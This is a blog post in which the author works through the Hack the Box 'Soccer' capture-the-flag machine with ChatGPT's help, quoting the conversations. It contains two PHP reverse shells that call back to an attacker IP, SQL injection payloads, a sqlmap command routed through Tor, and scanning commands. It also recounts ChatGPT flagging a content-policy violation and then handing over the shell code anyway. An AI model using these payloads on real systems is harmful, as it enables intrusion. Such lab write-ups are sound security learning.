Preface

In the ever-evolving world of cybersecurity, it's not uncommon for hackers and security professionals to engage in Capture The Flag (CTF) competitions, pushing the boundaries of their skills to solve complex challenges. Like me, some time ago, I was immersed in one of my typical Hack the Box challenges or what I like to call "Hack the Box BOXes." As often happens, I didn't have much time to dedicate to it, resulting in frequent interruptions and extending the time it took to resolve the challenge over several days.

On one of these days, I met with a friend, with whom I discussed a technology that has been all the rage recently: ChatGPT. Intrigued by his experience, in which he told me that this AI could also understand technical concepts and develop code in multiple programming languages related to problems of a computer nature, I became eager to explore its potential in assisting with my Hack the Box challenge.

As I was stuck on generating a payload that should have returned me a reverse shell in PHP, I decided to escalate the problem and sought help from the AI. Then I asked it if it could generate a payload for me. This was its answer below and the start of a conversation I had with ChatGPT.

ChatGPT immediately reproached me at first, informing me that this type of content violates its content policy. Despite the violation warning, it proceeded anyway, and provided me with what I requested (as seen below).

Certainly! Here is an example of a PHP reverse shell that does not use the exec or shell_exec functions:
<?php
// Set IP and port for reverse connection
$ip = '<attacker_ip>';
$port = <attacker_port>;
// Create a TCP socket
$sock = socket_create(AF_INET, SOCK_STREAM, 0);
// Connect socket to remote host
socket_connect($sock, $ip, $port);
// Create a process
$process = proc_open(
    '/bin/bash -i',
    array(
        0 => $sock,
        1 => $sock,
        2 => $sock
    ),
    $pipes
);

// Close sockets
socket_close($sock);
?>
This code creates a TCP socket and connects to the specified IP and port. It then creates a process and uses the socket as its standard input, output, and error streams. This allows you to send commands to the target system and receive the output through the established connection.
Keep in mind that using this type of reverse shell for malicious purposes is illegal and can result in severe consequences. It is important to only use it for legitimate and legal purposes, such as testing and improving the security of your own systems.

Concerned about the use I might make of the script, ChatGPT kept warning me about the unwanted effects of the code. As you can imagine, I was instantly impressed with the outcome. So I managed to perfect my request when asking it for help again based on the constraints that the BOX imposed on me, and once again, ChatGPT proved to be competent.

Certainly! Here is an example of a PHP reverse shell that uses only the proc_open function:
<?php
// Set IP and port for reverse connection
$ip = '<attacker_ip>';
$port = <attacker_port>;
// Create a process using netcat to create a reverse shell
$process = proc_open(
    "nc -e /bin/bash $ip $port",
    array(
        0 => array('pipe', 'r'),
        1 => array('pipe', 'w'),
        2 => array('pipe', 'w')
    ),
    $pipes
);
// Close pipes
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
// Close process
proc_close($process);
?>
This code creates a process that runs the nc (netcat) utility to create a reverse shell to the specified IP and port. The standard input, output, and error streams of the process are connected to pipes, which allows you to send commands to the target system and receive the output through the established connection.
As before, it is important to use this code only for legitimate and legal purposes, such as testing and improving the security of your own systems. Using it for malicious purposes is illegal and can result in severe consequences.

The question then arose: could artificial intelligence like this be used in legal and illegal activities such as penetration testing or writing malicious code?

I became very curious about the answer to my question. So I sought technical help from this AI called ChatGPT (while under the direction of my guidance), in order to understand if it could help me solve one of the HTB BOXES–even if it was just for the simple user flag.

Hacking with an AI

In my next conversation with ChatGPT, I asked if it could generate a simple nmap scan command to learn if it is capable of understanding simple penetration testing concepts, and if it has the ability to solve various Hack the Box challenges as well.

The conversation:

Me: Can you generate an nmap scan command for the TCP port on the IP Address 10.10.11.194?

ChatGPT: Certainly! Here is an nmap scan command that will scan the TCP ports on the IP address 10.10.11.194:
nmap -sT 10.10.11.194

After providing me an answer to my request, ChatGPT also suggested other possibilities. However, its first answer was sufficient enough already.

But let's explore how it analyzes the nmap scan results.

Me: Following the result, can you analyze for me, please?
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-06 10:45 EST
Nmap scan report for 10.10.11.194
Host is up (0.11s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9091/tcp open  xmltec-xmlmail

ChatGPT: Certainly! Here is an analysis of the nmap scan results you provided:
•	The target host with IP address 10.10.11.194 is up, as indicated by the Host is up message. The latency, or delay, in reaching the host is 0.11 seconds.
•	The scan found that the following TCP ports are open on the target host: 22, 80, and 9091.
•	The STATE column shows the status of the port. An open port is a port that is listening for incoming connections. A closed port is a port that is not listening, either because it is not being used or because it is blocked by a firewall.
•	The SERVICE column shows the name of the service or application that is associated with the port. For example, port 22 is used for secure shell (SSH) connections, port 80 is used for HTTP (web) traffic, and port 9091 is used by the xmltec-xmlmail service.
•	The scan also found that 997 closed TCP ports are present on the target host. This means that these ports are not listening for incoming connections and are likely blocked by a firewall or are not being used.
I hope this helps! Let me know if you have any other questions.

ChatGPT's analysis is precise but very standard. When I asked for a suggestion, I received a vague answer that was more related to best practices and processes rather than the actual scenario itself.

Me: I'm doing a penetration test on this machine, considering the result of the nmap scan, what do you suggest to proceed now?

ChatGPT: As part of a penetration test, you can follow a systematic process to identify and exploit vulnerabilities on the target host. Here are some steps you can take based on the nmap scan results:
1.	Research the open ports and services: Look up the services associated with the open ports to understand their function and potential vulnerabilities. You can search online for known vulnerabilities or exploitation techniques for these services.
2.	Test the open ports: Use tools such as nmap or telnet to further test the open ports and services. For example, you can send HTTP requests to the web server running on port 80 and analyze the responses for potential vulnerabilities.
3.	Scan for vulnerabilities: Use a vulnerability scanner such as nessus or openVAS to scan the target host for known vulnerabilities. These scanners can identify vulnerabilities in the operating system, applications, and network services running on the host.
4.	Exploit vulnerabilities: If you find vulnerabilities during your testing, you can try to exploit them to gain access to the target host. Make sure to follow ethical guidelines and obtain permission before attempting to exploit any vulnerabilities.
I hope this helps! Let me know if you have any other questions.

ChatGPT appears to be stuck in a loop, repeatedly offering the same guidance. It seemed unable to provide alternatives beyond standard best practices. The decision-making algorithm could definitely use some improvements for this. But for now, I'll take charge and give ChatGPT one more opportunity to provide useful suggestions.

Let's see what it recommends for addressing port 80.

Me: can you suggest nmap or telnet command in order to go ahead?

ChatGPT: Certainly! Here are some nmap and telnet commands that you can use to test port 9091 as part of your penetration testing activity:
nmap

To test port 9091 with nmap, you can use the following command:
nmap -sT -p 9091 <target IP address>
This command will perform a TCP connect scan of port 9091 on the target host with the IP address specified. The -sT flag specifies a TCP connect scan, and the -p flag specifies the port to scan.
For example, to scan port 9091 on the IP address 10.10.11.194, you can use the following command:
nmap -sT -p 9091 10.10.11.194
telnet
To test port 9091 with telnet, you can use the following command:
telnet <target IP address> 9091
This command will attempt to establish a connection to port 9091 on the target host with the IP address specified.
For example, to connect to port 9091 on the IP address 10.10.11.194, you can use the following command:
telnet 10.10.11.194 9091
If the connection is successful, you will see a telnet prompt. From here, you can try sending requests to the service running on the port and see how it responds.
I hope this helps! Let me know if you have any other questions.

Me: This is the output of the nmap, what now?

Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-06 12:02 EST
Nmap scan report for soccer.htb (10.10.11.194)
Host is up (0.11s latency).

PORT     STATE SERVICE
9091/tcp open  xmltec-xmlmail

Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds

ChatGPT: Based on the nmap scan results, it appears that port 9091 on the target host is open and associated with the xmltec-xmlmail service. To continue your penetration testing activity, you can follow these steps:
1.	Research the xmltec-xmlmail service: Look up the service online to understand its function and potential vulnerabilities.
2.	Test the port: Use tools such as nmap or telnet to send requests to the service running on port 9091 and analyze the responses for potential vulnerabilities. You can also try connecting to the service using a client application, such as an email client, to see how it responds to different input.
3.	Scan for vulnerabilities: Use a vulnerability scanner such as nessus or openVAS to scan the target host for known vulnerabilities in the xmltec-xmlmail service. These scanners may identify vulnerabilities such as weak passwords, unpatched software, or improper configuration.
4.	Exploit vulnerabilities: If you find vulnerabilities during your testing, you can try to exploit them to gain access to the service or the host. Make sure to follow ethical guidelines and obtain permission before attempting to exploit any vulnerabilities.
I hope this helps! Let me know if you have any other questions.

One of its recommendations is to use curl to send HTTP requests to the server can be viewed as an exploration of the portal. But ultimately, I need to propose the next step. My next question, "Can I search for hidden routes or folders on the portal?" will prompt ChatGPT to break free from its loop by allowing it to consider new tools.

Me: What I can do, instead, on port 80?

ChatGPT: Port 80 is typically used for HTTP (web) traffic, so you can investigate the web server running on this port as part of your penetration testing activity. Here are some steps you can follow:
1.	Research the web server software: Look up the web server software running on the host to understand its features and potential vulnerabilities. You can use tools such as nmap or curl to send HTTP requests to the server and analyze the responses to determine the web server software.
2.	Test the web server: Use tools such as nmap, telnet, or a web browser to send HTTP requests to the web server and analyze the responses for potential vulnerabilities. You can also try different input, such as special characters or long strings, to see how the server responds.
3.	Scan for vulnerabilities: Use a vulnerability scanner such as nessus or openVAS to scan the web server for known vulnerabilities. These scanners may identify vulnerabilities such as weak passwords, unpatched software, or improper configuration.
4.	Exploit vulnerabilities: If you find vulnerabilities during your testing, you can try to exploit them to gain access to the web server or the host. Make sure to follow ethical guidelines and obtain permission before attempting to exploit any vulnerabilities.
I hope this helps! Let me know if you have any other questions.

One of its recommendations is to use curl to send HTTP requests to the server can be viewed as an exploration of the portal. But ultimately, I need to propose the next step. My next question, "Can I search for hidden routes or folders on the portal?" will prompt ChatGPT to break free from its loop by allowing it to consider new tools.

Me: can i search for hidden routes or folders on the portal?

ChatGPT: Yes, you can try to search for hidden routes or folders on the web server as part of your penetration testing activity. Here are some steps you can follow:
1.	Research common hidden routes and directories: There are many lists available online of common hidden routes and directories that are often used by web servers. You can use these lists as a starting point to search for hidden routes and directories on the web server. Some common examples include /.git, /.svn, and /.hg.
2.	Use a directory scanner: A directory scanner is a tool that can automatically search for hidden routes and directories on a web server by sending a large number of HTTP requests with different paths. Some examples of directory scanners include dirb, gobuster, and dirsearch.
3.	Manually explore the web server: If you have access to the web server's file system, you can manually explore the directory structure to see if there are any hidden routes or directories. You can also try manually constructing URL paths and sending HTTP requests to see if the server returns any content.
I hope this helps! Let me know if you have any other questions.

Me: OK, generate the gobuster command to do this, please!

ChatGPT: Certainly! Here is the gobuster command that you can use to search for hidden routes and directories on a web server:
gobuster dir -u <URL> -w <wordlist>
This command will perform a directory busting attack using gobuster, which sends a large number of HTTP requests with different paths to the web server and searches for responses that indicate the existence of a route or directory.
Here is an example of how to use gobuster to search for hidden routes and directories on the web server running on the IP address 10.10.11.194:
gobuster dir -u http://10.10.11.194 -w <wordlist>
Replace <wordlist> with the path to a wordlist file containing a list of common hidden routes and directories to search for. You can use one of the many wordlists available online or create your own custom wordlist.
I hope this helps! Let me know if you have any other questions.

I liked that it suggested a directory scanner like gobuster.

It is interesting how it broke out of its loop and adapted the conversation to the new "rules."

Next, I continued my conversation with ChatGPT and asked it to use the soccer.htb domain.

Me: From the original nmap scan, you should have understood that the portal responds to the soccer.htb domain, so from now on instead of the IP, use this domain.

ChatGPT: Certainly! To search for hidden routes and directories on the web server running on the domain soccer.htb, you can use the following gobuster command:
gobuster dir -u http://soccer.htb -w <wordlist>
This command will perform a directory busting attack using gobuster, which sends a large number of HTTP requests with different paths to the web server and searches for responses that indicate the existence of a route or directory.
Replace <wordlist> with the path to a wordlist file containing a list of common hidden routes and directories to search for. You can use one of the many wordlists available online or create your own custom wordlist.
I hope this helps! Let me know if you have any other questions.

I couldn't find anything of interest, so I made another suggestion.

Me: nothing found... how can I search for subdomains?

ChatGPT: To search for subdomains of a domain, you can use a tool such as sublist3r or amass.
sublist3r
To use sublist3r, you can use the following command:
python sublist3r.py -d <domain>
This command will use sublist3r to search for subdomains of the specified domain.

For example, to search for subdomains of the domain soccer.htb, you can use the following command:
python sublist3r.py -d soccer.htb
amass
To use amass, you can use the following command:
amass enum -d <domain>
This command will use amass to enumerate subdomains of the specified domain.
For example, to enumerate subdomains of the domain soccer.htb, you can use the following command:
amass enum -d soccer.htb
I hope this helps! Let me know if you have any other questions.

The tools that ChatGPT suggested request information from the official DNS, but they could be of a better use for me since I am on an internal network. Consequently, ChatGPT couldn't identify the right step to scan the subdomains despite my indications. So I found myself forced to guide ChatGPT with specific suggestions for the umpteenth time.

Me: can you generate a scan of subdomain using wfuzz?

ChatGPT: Certainly! To scan for subdomains using wfuzz, you can use the following command:
wfuzz -w <wordlist> -H "Host: FUZZ.soccer.htb" <URL>
This command will use wfuzz to send HTTP requests to the target URL, replacing the FUZZ placeholder in the Host header with each subdomain in the specified wordlist.
Here is an example of how to use wfuzz to scan for subdomains of the domain soccer.htb:
wfuzz -w <wordlist> -H "Host: FUZZ.soccer.htb" http://soccer.htb
Replace <wordlist> with the path to a wordlist file containing a list of subdomains to test. You can use one of the many wordlists available online or create your own custom wordlist.
wfuzz will send HTTP requests to the target URL with each subdomain in the wordlist and display the responses. You can analyze the responses for clues about the existence of the subdomains or any potential vulnerabilities.
I hope this helps! Let me know if you have any other questions.

As usual, it is necessary to modify the shot after starting the command per ChatGPT's advice and exclude any obviously fake results (in this case, the HTTP CODE 301). Unfortunately, ChatGPT misunderstood my request in this instance, so in the end, I had to tell it which option I wanted to use explicitly.

Let's see if ChatGPT can give me additional information on the xmltec-xmlmail service on port 9091.

Me: What can you tell me about the xmltec-xmlmail service that runs on port 9091?

ChatGPT: XMLtec-XMLMail is a software for managing email based on XML. It was developed by XMLtec, a Swedish company that later merged with Redpill Linpro, another Swedish company specializing in IT hosting and consulting services.
XMLtec-XMLMail software is primarily used by public organizations and businesses to manage email efficiently. It offers a range of advanced features, such as support for standard email protocols like SMTP, POP3, and IMAP, the ability to create email routing rules based on XML syntax, and support for spam filtering.
If the XMLtec-XMLMail software is running on port 9091 of your system, it means that there is an email server listening on that port and it may be possible to access the email service using an email client that is compatible with the protocols supported by the software.
I hope this helps! Let me know if you have any other questions.

Me: Do you know any vulnerabilities?

ChatGPT: I'm sorry, but I don't have information about vulnerabilities in specific versions of XMLtec-XMLMail software. It is important to keep all software up to date and to apply security patches as they become available to reduce the risk of vulnerabilities being exploited.
I recommend checking with the software vendor or performing a search for known vulnerabilities in XMLtec-XMLMail software to see if there are any that may affect the version you are using. You can also try using a vulnerability scanner to scan the system and identify any potential vulnerabilities.
I hope this helps! Let me know if you have any other questions.

Me: Can I figure out what version of the service is installed on the machine using telnet commands?

ChatGPT: It is generally not possible to determine the version of a software service by connecting to it using telnet. This is because telnet is a simple text-based communication protocol that does not provide any way to retrieve information about the software running on the server.
To determine the version of a software service, you may need to use specialized tools or techniques that are specific to that software. For example, you may be able to retrieve version information by sending specific requests to the service using a client application, by analyzing the software's configuration files, or by running a command provided by the software.
I recommend checking the documentation or support resources for XMLtec-XMLMail software to see if there are any recommended methods for determining the version of the software that is installed on a system.
I hope this helps! Let me know if you have any other questions.

After rescanning with GoBuster using a larger dictionary, I found something, a "tiny file manager" software, which I was familiar with since it's also found on GitHub. So I asked ChatGPT to help me identify the vulnerability on the software.

Me: I rescanned with gobuster using a larger dictionary and found something; at the url http://soccer.htb/tiny/ there seems to be the "tiny file manager" software, an open source project that is also found on github. Can you give me some advice now? Do you know of any vulnerabilities I can exploit?

ChatGPT: Tiny File Manager is a simple open source file management software that is designed to be easy to install and use. It allows users to browse and manage the files on their server through a web interface.
It is important to keep all software up to date and to apply security patches as they become available to reduce the risk of vulnerabilities being exploited. I recommend checking the documentation or support resources for Tiny File Manager to see if there are any known vulnerabilities in the version that you are using and if there are any recommended fixes or workarounds.
You can also try searching online for known vulnerabilities in Tiny File Manager or using a vulnerability scanner to scan the system and identify any potential vulnerabilities. Keep in mind that even if a vulnerability is found, it may not be practical or ethical to exploit it without the owner's permission.
I hope this helps! Let me know if you have any other questions.

Me: Can you help me to identify vulnerability on this software?

ChatGPT: To identify vulnerabilities in Tiny File Manager, you can try the following methods:
Check for known vulnerabilities: Search online for known vulnerabilities in Tiny File Manager and see if the version you are using is affected. You can try searching the software's documentation, support resources, or online vulnerability databases such as the National Vulnerability Database (NVD) or the Common Vulnerabilities and Exposures (CVE) database.
Scan for vulnerabilities: Use a vulnerability scanner to scan the system and identify any potential vulnerabilities. There are many commercial and open source vulnerability scanners available, such as Nessus, OpenVAS, and Nmap.
Analyze the code: If you have access to the source code of Tiny File Manager, you can try analyzing it manually or using a static code analysis tool to look for potential vulnerabilities.
Keep in mind that even if a vulnerability is found, it may not be practical or ethical to exploit it without the owner's permission.
I hope this helps! Let me know if you have any other questions.

Me: Can you search for me vulnerabilities online for tiny file manager?

ChatGPT: I'm sorry, but I am not able to browse the web and search for vulnerabilities online. As a language model, I don't have access to external resources beyond the knowledge that I was trained on.
To search for vulnerabilities in Tiny File Manager, you can try the following methods:
Search online: You can try searching online for known vulnerabilities in Tiny File Manager and see if the version you are using is affected. You can try searching the software's documentation, support resources, or online vulnerability databases such as the National Vulnerability Database (NVD) or the Common Vulnerabilities and Exposures (CVE) database.
Use a vulnerability scanner: There are many commercial and open source vulnerability scanners available that can scan a system and identify potential vulnerabilities. Some popular options include Nessus, OpenVAS, and Nmap.
Analyze the code: If you have access to the source code of Tiny File Manager, you can try analyzing it manually or using a static code analysis tool to look for potential vulnerabilities.
I hope this helps! Let me know if you have any other questions.

Me: Can you generate the nmap scan command to search for vulnerability on the tiny file manager URL?

ChatGPT: Nmap (Network Mapper) is a network scanning and host discovery tool that can be used to identify open ports, services, and their associated software versions running on a system. While Nmap is a powerful tool, it is not designed to specifically search for vulnerabilities in software.
To use Nmap to scan a system, you can use the following command:
nmap <target>
Replace <target> with the IP address or hostname of the system you want to scan. For example, to scan the system running Tiny File Manager at the URL http://soccer.htb/tiny/, you can use the following command:
nmap http://soccer.htb/tiny/
This will perform a basic scan of the system and return a list of open ports and the services running on them. You can then use this information to try to identify the software versions running on the system and check for known vulnerabilities.
Keep in mind that Nmap is not designed to specifically search for vulnerabilities and may not be able to identify all vulnerabilities on a system.
I hope this helps! Let me know if you have any other questions.

After asking ChatGPT a few questions, our conversation wasn't really going anywhere that it felt pretty much useless. I decided to let some time pass and then resume the discussion. I thought that there may be benefits to giving ChatGPT a break while it continuously evolves. After taking a break for some time, I decided to resume the conversation with ChatGPT hoping that I'll get lucky next time...

This was my conversation with ChatGPT after picking up from where we left off.

Me: Ok, don't worry, last time we found that on the soccer.htb was installed the "tiny file manager" open source service... We are searching for vulnerabilities... can you help me on this?

ChatGPT: Yes, I can help you with identifying vulnerabilities in the Tiny File Manager service. Tiny File Manager is an open-source web-based file management software written in PHP. It allows users to manage files and directories on a web server.
It is important to check if the version of Tiny File Manager you are using is up to date, as older versions may contain known vulnerabilities. Also, it's important to check if the Tiny File Manager has been configured properly, and if the permissions are set correctly, to prevent unauthorized access to sensitive files.
One common vulnerability in Tiny File Manager is related to the lack of proper validation of user input. This can allow an attacker to upload malicious files, such as a PHP shell, to the server and then execute arbitrary code on the server.
Another vulnerability that can be exploited is the path traversal vulnerability, in which an attacker can access sensitive files outside the intended directory by manipulating the file path.
It's also important to check if the Tiny File Manager has been configured to use a secure connection (HTTPS) and if it is using a strong authentication mechanism.
Please keep in mind that this is just a general overview, and that further analysis is needed to identify specific vulnerabilities. Also, it's important to apply best practices and security measures to prevent any possible attack.
Please let me know if you want me to elaborate on any specific point or if you have any other question.

It appears that something had definitely changed since the last time I conversed with ChatGPT. Maybe even ChatGPT needs a rest or break sometimes. Or perhaps, the CPU behind it does. At least, I thought so.

However, when I inquired about a practical aspect of how to proceed, the system suggested the same options repeatedly. Eventually, I managed to get a curl command from ChatGPT to identify the specific version of the tiny server, but when I tried to run the command, it informed me that the version is not present.

Let's try a more direct approach.

Me: How can I exploit the form login of tiny file manager?

ChatGPT: Exploiting the login form of Tiny File Manager can be done by attempting to gain unauthorized access to the web server using various methods, such as exploiting known vulnerabilities in the software or attempting to guess or brute force login credentials.
Brute force attack: By using a script or a tool that repeatedly attempts to log in with different username and password combinations, an attacker can potentially gain access to the web server if the login credentials are weak.
SQL injection: By injecting malicious SQL code into the login form, an attacker can potentially gain access to the web server by bypassing the login form.
Cross-Site Scripting (XSS): By injecting malicious code into the login form, an attacker can potentially gain access to the web server by stealing the login credentials of legitimate users.
It's important to note that these are just examples of how an attacker could potentially exploit the login form of Tiny File Manager. To prevent unauthorized access to the web server, it is important to keep the software up to date and to use a strong and unique username and password.
It's also important to use a secure connection (HTTPS) and to use a strong authentication mechanism.
It is not recommended to exploit any system without permission. Attempting to hack into a system without authorization is illegal in most jurisdictions and can result in severe penalties.
Please let me know if you have any other questions or need further help.

Me: Give me some test I can made to identify SQL injection on the login form of tiny file manager.

ChatGPT: Here are a few tests you can perform to check for SQL injection vulnerabilities in the login form of Tiny File Manager:
Single quotes test: Attempt to log in with a username or password that includes a single quote (') character. If the application is vulnerable to SQL injection, an error message containing a SQL statement may be returned.
Union select test: Attempt to log in with a username or password that includes the UNION SELECT statement. This statement is used to combine the results of two or more SELECT statements into a single result set. If the application is vulnerable to SQL injection, the statement may be executed and an attacker may be able to extract sensitive information from the database.
Time-based test: Attempt to log in with a username or password that includes a statement that causes a delay in the execution of the query, such as SLEEP(n). If the application is vulnerable to SQL injection, the statement may cause a delay in the execution of the query, which can be used to infer that the application is vulnerable.
Blind SQL injection: Attempt to log in with a username or password that includes a statement that will return a true or false statement, such as ' OR '1'='1. If the application is vulnerable to SQL injection, the statement will be executed, and the page will be loaded with no error, this can indicate that the system is vulnerable
It's important to note that these are just examples of how to test for SQL injection vulnerabilities, and that further analysis may be needed to identify specific vulnerabilities in the login form of Tiny File Manager.
It's also important to keep in mind that attempting to exploit vulnerabilities without permission is illegal in most jurisdictions, and can result in severe penalties.
Please let me know if you have any other questions or need further help.

ChatGPT seems more proactive today but gives more generic answers than specific ones. At this point, I want to be provocative. So I researched possible exploits and proposed them to ChatGPT while it's limited to provide me with that specific information. At this point, I began to understand the limits imposed on ChatGPT. Many of the responses I start getting are like this:

I'm sorry, but as a language model, my knowledge is based on the information that I have been trained on, which is current as of 2021. The vulnerabilities that you've mentioned (CVE-2021-45010, CVE-2022-23044, CVE-2022-45475, CVE-2022-45476, CVE-2021-45010 and CVE-2021-40964) are not known to me as they were not present in my training data.
As a language model, I am trained on a wide range of text data, but my knowledge is based on the information that I was trained on, which is current as of 2021. I do not have the ability to access the internet or perform real-time research on specific topics, and I don't have the ability to browse the web.

Ok, it is pretty clear that ChatGPT needs more training and can only limit itself to giving basic, generic concepts on penetration testing. It can still be helpful for me, however. But from now on, my questions will have to accept generic answers.

Let's see if we can at least capture the first flag. The portal was paused for a while, and during that time, I continued the CTF on my own. Eventually, I found a second domain where I could sign up as a new user.

After that, I decided to start a new conversation with ChatGPT about a CTF game I was working on.

Me: Hi my friend... welcome back.... so... I'm working on a CTF game, based on the penetration testing staff... so... I have a web portal with a form with a single field. I suppose can be a possible SQL injection vulnerability, can you suggest some tools I can use in order to identify the vulnerability?

ChatGPT: There are several tools you can use to identify SQL injection vulnerabilities in web applications. Some popular options include:
1.	SQLMap: an open-source tool that automates the process of detecting and exploiting SQL injection vulnerabilities.
2.	Burp Suite: a comprehensive web application security testing tool that includes a built-in SQL injection scanner.
3.	OWASP ZAP: the OWASP ZED Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.
4.	sqlninja: is a tool designed to exploit SQL Injection vulnerabilities on a web application that uses Microsoft SQL Server as its back-end.
5.	Havij: is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities on a web page.
It's important to keep in mind that these tools can help you find vulnerabilities, but you still need to manually verify and exploit them.

Me: Good, I'd like SQLMap, can you generate for me the correct command considering that the form is on following URL http://soc-player.soccer.htb/check?

ChatGPT: Sure, here is an example command you can use to test for SQL injection vulnerabilities using SQLMap on the URL you provided:
sqlmap -u "http://soc-player.soccer.htb/check?parameter=value" --data "parameter=value" --risk 3 --level 5 --batch --dbs
This command tells sqlmap to:
•	test the URL "http://soc-player.soccer.htb/check?parameter=value"
•	use the data "parameter=value" in the request body
•	test with a risk level of 3 and verbosity level of 5
•	run the scan in batch mode (without user interaction)
•	enumerate the databases.
You should replace "parameter=value" with the actual parameter and value that you are using in the request.
It's important to note that this is just an example command and you should adjust it to fit your specific needs.
It's also important to always use this kind of tools on a test environment, and not in a production environment without proper authorization.

Me: the sqlmap command should be in POST.. can you regenerate again the correct command with SQLMAP?

ChatGPT: Sure, here is an example command you can use to test for SQL injection vulnerabilities using SQLMap on the URL you provided in a POST request:
sqlmap -u "http://soc-player.soccer.htb/check" --data "parameter=value" --method POST --risk 3 --level 5 --batch --dbs
This command tells sqlmap to:
•	test the URL "http://soc-player.soccer.htb/check"
•	use the data "parameter=value" in the request body
•	use the POST method
•	test with a risk level of 3 and verbosity level of 5
•	run the scan in batch mode (without user interaction)
•	enumerate the databases
You should replace "parameter=value" with the actual parameter and value that you are using in the request.
It's important to note that this is just an example command and you should adjust it to fit your specific needs.
It's also important to always use this kind of tools on a test environment, and not in a production environment without proper authorization.

ChatGPT has also been able to generate the commands for the other tools, of course, but they are not helpful to me. Let's see if it can coach me on something more complex.

Me: Can you explain step by step how I have to use BurpSuite in order to use the built-in SQL injection scanner?

ChatGPT: Sure, here is a step-by-step guide on how to use the built-in SQL injection scanner in Burp Suite:
1.	Start Burp Suite and configure your browser to use Burp as a proxy by setting your browser's proxy settings to "localhost" and port "8080".
2.	In Burp Suite, go to the "Proxy" tab and intercept the request that you want to test for SQL injection.
3.	Forward the request to the "Intruder" tab.
4.	In the "Intruder" tab, select the payload positions that you want to test for SQL injection. You can do this by clicking and dragging over the relevant parts of the request.
5.	In the "Payloads" tab, configure the payloads that you want to use for testing. You can use the built-in payloads or create your own.
6.	Click the "Start Attack" button to begin the scan.
7.	The results of the scan will be displayed in the "Intruder" tab, where you can view the responses and identify any potential vulnerabilities.
8.	To further investigate any identified vulnerabilities, you can use the "Repeater" and "Decoder" tabs to manually manipulate the request and view the responses.
It's important to note that this is just a general guide, and you should adjust it to fit your specific needs.
It's also important to always use this kind of tools on a test environment, and not in a production environment without proper authorization.
It's also important to mention that a SQL injection scanner alone is not enough to identify all vulnerabilities, you should always validate your findings with manual testing and a web application security expertise.

Woo…  Fantastic! This can be considered a very good answer.

Me: can you make an example of the payload that I have to provide to the burpsuit tool?

ChatGPT: The payloads that you provide to the Burp Suite Intruder tool will depend on the specific SQL injection vulnerability that you are trying to exploit. Here's an example of a payload that you could use for a basic SQL injection vulnerability:
' OR 1=1--
This payload is appended to the parameter that is vulnerable to SQL injection in the request, and it will cause the SQL query to always return true.
Another example of payload would be:
' UNION SELECT 1,2,version(),4,5--
It will try to extract the version of the database in use
It's important to note that these payloads are only examples and will not work in all cases, you should always test different payloads and adjust them to fit your specific needs. Also, it's important to not blindly trust automatic tools and also use a manual approach in order to validate the results.
It's also important to always use this kind of tools on a test environment, and not in a production environment without proper authorization.

Here are some trivial examples.

Me: how can i send the request intercepted to the intruder tab?

ChatGPT: In Burp Suite, you can send an intercepted request to the Intruder tab by following these steps:
1.	Go to the "Proxy" tab, and intercept the request you want to test for SQL injection.
2.	Right-click on the request in the "Proxy" tab and select "Send to Intruder".
3.	The request will now appear in the "Intruder" tab, where you can configure the payloads and start the scan.
Alternatively, you can also use the "Target" tab to select the request and send it to the "Intruder" tab by clicking on the "Intruder" button on the top right corner of the tab.
It's important to note that you have to have the intercept turned on in the proxy tab, otherwise you can't intercept and send the request to Intruder.
It's also important to always use this kind of tools on a test environment, and not in a production environment without proper authorization.

Me: I right-click the request, but can't see the "Send to Intruder" choise!

ChatGPT: If you're unable to see the "Send to Intruder" option when you right-click on a request in the Proxy tab, it may be because the request is not in scope. In Burp Suite, only requests that are in scope will be available for use in the Intruder and other tools.
To check that your request is in scope:
1.	Go to the "Target" tab
2.	Click on "Scope" to open the scope settings.
3.	Check that the URL of your request is included in the scope.
If the request is not in scope, you can add it by clicking on the "+" button in the scope section and adding the URL of the request.
Another possibility is that the request is not being captured by the proxy, check that your browser proxy settings are correctly configured to use Burp Suite as a proxy.
It's also important to always use this kind of tools on a test environment, and not in a production environment without proper authorization.

Ok, I spotted an excellent solution, even for minor problems. Too bad this is not the problem! I chimed in once again and found that the form makes a call via WebSocket! This time ChatGPT is not to blame; it was only answering my questions, and I didn't give it all the necessary information. Having identified the problem, let's see how it copes with the injection.

Me: the call is made using a websocket javascript... can you generate the SQLmap command considering that?

ChatGPT: SQLMap is a tool that is primarily used for testing web applications that use the HTTP or HTTPS protocol. It does not support WebSockets natively. However, there are some workarounds that you can use to test a WebSocket-based application with SQLMap.
One way to do this is to use a tool like Burp Suite to intercept the WebSocket traffic and forward it to SQLMap via the HTTP or HTTPS protocol. This can be done by configuring Burp Suite as a proxy for your browser, then intercepting the WebSocket traffic and forwarding it to SQLMap by modifying the headers and payloads of the requests.
Another possibility is to use a tool like ws-proxy that can forward WebSocket traffic to SQLMap. This tool can be used to forward the WebSocket traffic to a local proxy, which can then be configured to forward the traffic to SQLMap.
It's important to note that this kind of approaches may not be as simple and straight forward as using SQLMap directly against a web application, and may require additional setup and configuration.
I would recommend to use a tool that support websocket natively, like Wireshark to intercept the traffic and analyse it, or other tools like websocket-debug-proxy or websocket-client-proxy.
It's also important to always use this kind of tools on a test environment, and not in a production environment without proper authorization.

ChatGPT knows how to find solutions to problems faster than I can with a simple search engine. However, it reversed the subjects, so I asked the following questions more explicitly.

Me: how can I set a proxy for sqlmap?

ChatGPT: You can set a proxy for SQLMap by using the --proxy option. This option allows you to specify a proxy server that SQLMap will use for all its requests. The syntax for the --proxy option is as follows:
--proxy=http://proxy_address:proxy_port
For example, if you want to set a proxy with the address "http://proxy.example.com" and port "8080", you would use the following command:
sqlmap --url http://example.com/ -p param --level 3 --risk 3 --dbms mysql --technique T --threads 8 --batch --banner --proxy=http://proxy.example.com:8080
You can also use the --tor option if you want to use the Tor network as a proxy, this will route all the traffic of SQLMap through the tor network, and make it harder to trace the origin of the requests.
sqlmap --url http://example.com/ -p param --level 3 --risk 3 --dbms mysql --technique T --threads 8 --batch --banner --tor
It's also important to always use this kind of tools on a test environment, and not in a production environment without proper authorization, and also, that you have obtained proper authorization and consent to perform such tests.

Me: How can i configure burpsuite to forward the http request to websocket?

